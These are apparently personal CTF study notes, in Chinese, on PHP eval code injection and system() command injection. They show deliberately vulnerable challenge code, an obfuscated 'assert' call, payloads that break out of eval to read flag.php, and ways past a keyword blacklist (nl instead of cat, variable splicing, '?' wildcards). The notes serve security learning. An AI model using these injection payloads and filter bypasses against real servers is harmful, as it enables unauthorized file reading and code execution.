section A eval
eval函数把字符串按照php代码来计算。该字符串必须合法,且必须以分号结尾。如果代码字符串中没有返回语句,则返回NULL,如果代码中解析错误,返回false。
var_dump(scandir('./')) //显示当前目录下所有的文件
0x00 eval 1
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
ans1:
hello=);print_r(file("./flag.php")
与原始的");"组成完整的句子
ans2:
hello=);print_r(file("./flag.php"));//
本身已经闭合,//注释掉剩余的");"
0x01 eval 2
flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
ans:
args=GLOBALS
0x02
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>
ans1:
s=var_dump(scandir(%27./%27))
ans2:
s=print_r(scandir('./'))
//此题没有成功
参考链接:
https://blog.csdn.net/qq_40657585/article/details/84285844
section B system
** 千万要记得查看网页源码,又被坑了。
- 输入ls 查看所有文件;//index.php和flag.php
- cat index.php; //发现cat被过滤
- nl index.php; //可以返回,但是格式有点怪,记得要看网页源码
<html>
<body>
<h3>This is the command practice</h3>
<form action="index.php" method="post">
<input value="" name='cmd'>
<input type="submit" value="Submit" />
</form>
<?php
$cmd=$_POST['cmd'];
$blacklist="cat|\/|cd|flag|curl|{|\(|'|\"|echo|\\\\|&|grep|base64";
$arr=explode('|',$blacklist);
foreach ($arr as $key => $value) {
#var_dump($value);
if (preg_match("/$value/i", $cmd)) {
exit('hacker~~~');
}
}
system($cmd);
?>
- nl flag.php;//发现flag为敏感字;
- 绕过方式:(千万记得看网页源码)
h=f;i=l;j=a;k=g;nli
k.php
nl ????.php